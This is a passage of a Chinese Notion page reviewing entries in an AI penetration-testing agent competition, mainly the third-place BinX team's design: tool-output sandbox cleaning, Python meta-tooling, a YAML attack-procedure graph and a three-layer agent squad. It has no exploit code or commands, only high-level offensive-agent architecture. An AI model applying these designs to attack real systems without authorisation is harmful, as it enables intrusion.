notion-block-30a0f0c5b87c81d88b8fcae7e1ea7750"><b>可能不太适合的场景 ⚠️：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81b3b23df4632a6d2687"><li>小型CTF比赛（分布式架构用不上，单机足够）</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8122bd22c4e9decc7f37"><li>快速原型开发（学习曲线陡峭、开发周期长）</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81d2948bcd52e4d92602"><li>成本敏感场景（需要多台服务器、维护成本高）</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c814bbe21d2a27850875c" data-id="30a0f0c5b87c814bbe21d2a27850875c"><span><div id="30a0f0c5b87c814bbe21d2a27850875c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c814bbe21d2a27850875c" title="可借鉴之处"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">可借鉴之处</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c817dba32fd8c286f15de" style="list-style-type:decimal"><li><b>分布式架构思想</b> ⭐⭐⭐⭐⭐ - 任务管理与执行解耦、水平扩展能力</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81d2901bf3028f557ddc" style="list-style-type:decimal"><li><b>XML强类型协议</b> ⭐⭐⭐⭐ - 解决Payload冲突、类型安全</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81518308c7fa026320c6" style="list-style-type:decimal"><li><b>三阶段流水线</b> ⭐⭐⭐⭐⭐ - 标准化流程、可复用设计</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81eea553fff5957dee65" style="list-style-type:decimal"><li><b>底层工具封装</b> ⭐⭐⭐⭐ - 精确控制攻击流量、提升攻击质量</li></ol><hr class="notion-hr notion-block-30a0f0c5b87c8141af9bdfda77bc1b96"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c8101ad07fa4b3aded7c7" data-id="30a0f0c5b87c8101ad07fa4b3aded7c7"><span><div id="30a0f0c5b87c8101ad07fa4b3aded7c7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8101ad07fa4b3aded7c7" title="BinX (广州大学) - 季军团队 (NO.3)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">BinX (广州大学) - 季军团队 (NO.3)</span></span></h3><div class="notion-text notion-block-30a0f0c5b87c81dea3c6f0822fc1db25"><b>团队:</b> 广州大学
<b>核心特色:</b> 三人特种小队架构 | 沙箱清洗 | 元工具编排 | 意图图谱</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81faaa2bd665fab117ec" data-id="30a0f0c5b87c81faaa2bd665fab117ec"><span><div id="30a0f0c5b87c81faaa2bd665fab117ec" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81faaa2bd665fab117ec" title="面临的三大核心问题"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">面临的三大核心问题</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c818fb553fb154e3daf3e" data-id="30a0f0c5b87c818fb553fb154e3daf3e"><span><div id="30a0f0c5b87c818fb553fb154e3daf3e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c818fb553fb154e3daf3e" title="01 环境复杂性导致感知状态失真 (Status Distortion)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">01 环境复杂性导致感知状态失真 (Status Distortion)</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c816680cad35f5cc1ee60"><b>问题描述：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81b78de0ec8533365a28"><li>长周期任务导致上下文遗失</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8198be04d32fea09ec07"><li>复杂环境造成状态错判</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81cdba73dc2ed9ed9e6e"><li>无效噪音淹没关键攻击信号</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c818d90d3f537a81f33b6"><li>行动历史无法长期追踪</li></ul><div class="notion-text notion-block-30a0f0c5b87c81268e84d78c20d6505a"><b>核心痛点：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c817c931cc822cc263a6a"><div>#模型不知道自己是谁、在哪里、做过什么#</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81a28c87ed10ee4876df" data-id="30a0f0c5b87c81a28c87ed10ee4876df"><span><div id="30a0f0c5b87c81a28c87ed10ee4876df" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81a28c87ed10ee4876df" title="02 环境弱反馈导致探索效率极低 (Low Efficiency)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">02 环境弱反馈导致探索效率极低 (Low Efficiency)</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81d883d4f40191da179d"><b>问题描述：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8192aafafd120537dea7"><li>有效信号极度稀缺</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81139de8d0c724a18529"><li>中间反馈高度模糊甚至误导</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81598477db47ee97b343"><li>巨大搜索空间导致”盲试”</li></ul><div class="notion-text notion-block-30a0f0c5b87c813a848cfcfe3b8a5263"><b>核心痛点：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c81beb3eadc015f6def30"><div>#模型像在迷雾中摸索，没有线索指引，只能盲目尝试#</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c817ba9eff8adbd25c2fc" data-id="30a0f0c5b87c817ba9eff8adbd25c2fc"><span><div id="30a0f0c5b87c817ba9eff8adbd25c2fc" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c817ba9eff8adbd25c2fc" title="03 结构认知局限导致决策不可靠 (Unreliable Decision-Making)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">03 结构认知局限导致决策不可靠 (Unreliable Decision-Making)</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81edb0c2f364c3ac55ba"><b>问题描述：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8127bc80f47bd188b851"><li>领域幻觉，错误归因</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8124bf7bc2fb49c6ae0b"><li>推理链脆弱、易中断</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8185a732daff175329c6"><li>策略固化与缺乏灵活性</li></ul><div class="notion-text notion-block-30a0f0c5b87c819dbbd4cee0620f9975"><b>核心痛点：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c815fa8afd5ee2e9e10f7"><div>#模型能说但不能推理、能生成但不能反思、能模仿但缺乏创造性策略#</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c810b8e0dde35d0915ee6" data-id="30a0f0c5b87c810b8e0dde35d0915ee6"><span><div id="30a0f0c5b87c810b8e0dde35d0915ee6" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c810b8e0dde35d0915ee6" title="核心解决方案"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">核心解决方案</span></span></h4><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c814b84b8e8c5275e2de5"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/image39-20260217113443-7w221gx.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-814b-84b8-e8c5275e2de5" alt="BinX - 三人特种小队架构" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c815c9a3af93d6f5bfbb4">BinX - 三人特种小队架构</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8117b4abfed1808e2e7f" data-id="30a0f0c5b87c8117b4abfed1808e2e7f"><span><div id="30a0f0c5b87c8117b4abfed1808e2e7f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8117b4abfed1808e2e7f" title="解决方案01: Sandbox Cleaning (沙箱清洗)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">解决方案01: Sandbox Cleaning (沙箱清洗)</span></span></h4><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c81e3bb9be8b8dbd267e5"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/gen05_sandbox_cleaning-20260217113443-baoud7f.jpg?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-81e3-bb9b-e8b8dbd267e5" alt="生成图片 - 沙箱清洗机制" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c81978033e01562745247">生成图片 - 沙箱清洗机制</div><blockquote class="notion-quote notion-block-30a0f0c5b87c81468336d735c069400d"><div>#核心理念:## “只看结果，不看过程噪音”#</div></blockquote><div class="notion-text notion-block-30a0f0c5b87c81079e87ffa8ae3a089b"><b>实现机制：</b></div><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81a0a20dcdcdde7ccfd7" style="list-style-type:decimal"><li><b>隔离沙箱预处理</b> - 工具的原始海量输出先进入隔离沙箱</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81718b61f247a011e8a1" style="list-style-type:decimal"><li><b>关键结论提取</b> - 只将清洗后的关键结论回传给Agent</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81a38cbbc9a77e433287" style="list-style-type:decimal"><li><b>效果</b> - 彻底根治上下文污染、大幅减少Token浪费</li></ol><div class="notion-text notion-block-30a0f0c5b87c815e87c9f89d7d996092"><b>优势：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8146bde8ee674bb38950"><li>降低上下文压力</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81b7be82ee46dc9ca6be"><li>提高决策质量</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81c2bd53c7fda10ee968"><li>减少成本消耗</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81018570f9d7d95d6b0f" data-id="30a0f0c5b87c81018570f9d7d95d6b0f"><span><div id="30a0f0c5b87c81018570f9d7d95d6b0f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81018570f9d7d95d6b0f" title="解决方案02: Python Meta-Tooling (元工具编排)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">解决方案02: Python Meta-Tooling (元工具编排)</span></span></h4><blockquote class="notion-quote notion-block-30a0f0c5b87c818f8948d3b4a011544b"><div>#核心理念:## “用代码执行替代对话空转”#</div></blockquote><div class="notion-text notion-block-30a0f0c5b87c8193a7c9c8066d7e5c9a"><b>实现机制：</b></div><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c8157b8c5d2903606cb64" style="list-style-type:decimal"><li><b>赋予Agent编程能力</b> - Agent可以编写Python代码</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c815186a4f57822a5d583" style="list-style-type:decimal"><li><b>控制流转化</b> - 将”多轮对话模拟控制流”转化为”沙箱代码执行流”</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c819195e1d7528061c2b6" style="list-style-type:decimal"><li><b>复杂逻辑自闭环</b> - 实现复杂逻辑的瞬间自闭环</li></ol><div class="notion-text notion-block-30a0f0c5b87c81958ca1d894ebf95a6a"><b>优势：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81139a96e99ccd8bf95d"><li>执行效率大幅提升</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81849cc2fb20c907459d"><li>减少对话轮次</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c817fa4e3ca55ab1c87aa"><li>更精确的逻辑控制</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8175bd2ee0c5aa9fdaf7" data-id="30a0f0c5b87c8175bd2ee0c5aa9fdaf7"><span><div id="30a0f0c5b87c8175bd2ee0c5aa9fdaf7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8175bd2ee0c5aa9fdaf7" title="解决方案03: Agent Pattern Graph (APG/意图图谱)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">解决方案03: Agent Pattern Graph (APG/意图图谱)</span></span></h4><blockquote class="notion-quote notion-block-30a0f0c5b87c819d8e5acc8565f28e66"><div>#核心理念:## “给AI装上专家的脑回路”#</div></blockquote><div class="notion-text notion-block-30a0f0c5b87c811a9c97cb1a1c331681"><b>实现机制：</b></div><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81d88dc8fc08319c4bb7" style="list-style-type:decimal"><li><b>声明式图结构</b> - 采用YAML格式</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81568903e1e8699d4222" style="list-style-type:decimal"><li><b>标准作业程序(SOP)</b> - 将专业攻防流程编码化</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c812e98bac8d3dbd1baae" style="list-style-type:decimal"><li><b>效果</b> - 消除推理幻觉、避免盲目试探、规范化攻击流程</li></ol><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81679e5ec40340dfdb3a" data-id="30a0f0c5b87c81679e5ec40340dfdb3a"><span><div id="30a0f0c5b87c81679e5ec40340dfdb3a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81679e5ec40340dfdb3a" title="架构亮点：会思考的”三人特种小队”"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">架构亮点：会思考的”三人特种小队”</span></span></h4><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c811c9631c8f3a002d7bc"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/cn05_three_person_squad-20260217113443-g2s2w7m.jpg?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-811c-9631-c8f3a002d7bc" alt="生成图片 - 三人特种小队架构（中文）" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c81268bded6e437a2b7fb">生成图片 - 三人特种小队架构（中文）</div><div class="notion-text notion-block-30a0f0c5b87c81d3813ce6abf2b4a1a1">这套架构基本治好了传统AI容易”瞎跑”和”乱猜”的毛病：</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81f28fefc9340702f00c" data-id="30a0f0c5b87c81f28fefc9340702f00c"><span><div id="30a0f0c5b87c81f28fefc9340702f00c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81f28fefc9340702f00c" title="1. 大脑规划层"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">1. 大脑规划层</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8185b9b4cf759ded5b84"><b>职责：</b> 负责战术制定和整体策略</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8151a76fe18bc7279b54" data-id="30a0f0c5b87c8151a76fe18bc7279b54"><span><div id="30a0f0c5b87c8151a76fe18bc7279b54" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8151a76fe18bc7279b54" title="2. 手脚执行层"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">2. 手脚执行层</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8156a9b5e0be5ebf73bd"><b>职责：</b> 负责具体操作和执行</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81cbb89dc90ac2826e11" data-id="30a0f0c5b87c81cbb89dc90ac2826e11"><span><div id="30a0f0c5b87c81cbb89dc90ac2826e11" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81cbb89dc90ac2826e11" title="3. 事后复盘层"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">3. 事后复盘层</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8140a95ec9c09cab12bd"><b>职责：</b> 负责经验总结和学习</div><div class="notion-text notion-block-30a0f0c5b87c81b28b79c883b7f7ed05"><b>两张核心图：</b></div><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c818eb2ffc3a9bf512deb" style="list-style-type:decimal"><li><b>任务图</b> - 把流程理顺，支持多任务并行，前面挂了能自动熔断</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81a3b516fa641f8ab17f" style="list-style-type:decimal"><li><b>因果图</b> - 把逻辑搞对，不靠概率瞎蒙，像做实验一样拿证据说话</li></ol><div class="notion-text notion-block-30a0f0c5b87c815fa0aee27d450b8459">让AI从”死板跑脚本”进化成了”有记性、能纠错、懂战术”的实战专家。</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81fca879c1acd4f1719f" data-id="30a0f0c5b87c81fca879c1acd4f1719f"><span><div id="30a0f0c5b87c81fca879c1acd4f1719f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81fca879c1acd4f1719f" title="排名分析"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">排名分析</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c813b8fe2d43ffb94a408"><b>最终排名:</b> 季军 (NO.3)</div><div class="notion-text notion-block-30a0f0c5b87c81a89922f06b8ef4ab73"><b>成功因素：</b></div><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c817890e5dda364c22f15" style="list-style-type:decimal"><li>系统化的方法论 - 三大问题识别清晰</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c818e99b6c4c63ade5682" style="list-style-type:decimal"><li>创新的解决方案 - 沙箱清洗、元工具编排、意图图谱</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c816394c8d3d14f192dfe" style="list-style-type:decimal"><li>工程化的架构 - 三层分工明确</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81f29143d6f49361bad2" style="list-style-type:decimal"><li>理论与实践结合 - 既有深度思考又有落地实现</li></ol><div class="notion-text notion-block-30a0f0c5b87c811bbfa5f0cdfd6d16f5"><b>与第一名差距分析：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81378da9ed40e5ff046f"><li>可能在执行效率上略逊一筹</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81399fe3dfffb37233fa"><li>成本控制可能不是最优</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81d58bfafaf50478e5b1"><li>但整体架构设计极具参考价值</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81529c37d5f7b3924d2b" data-id="30a0f0c5b87c81529c37d5f7b3924d2b"><span><div id="30a0f0c5b87c81529c37d5f7b3924d2b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81529c37d5f7b3924d2b" title="可借鉴之处"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 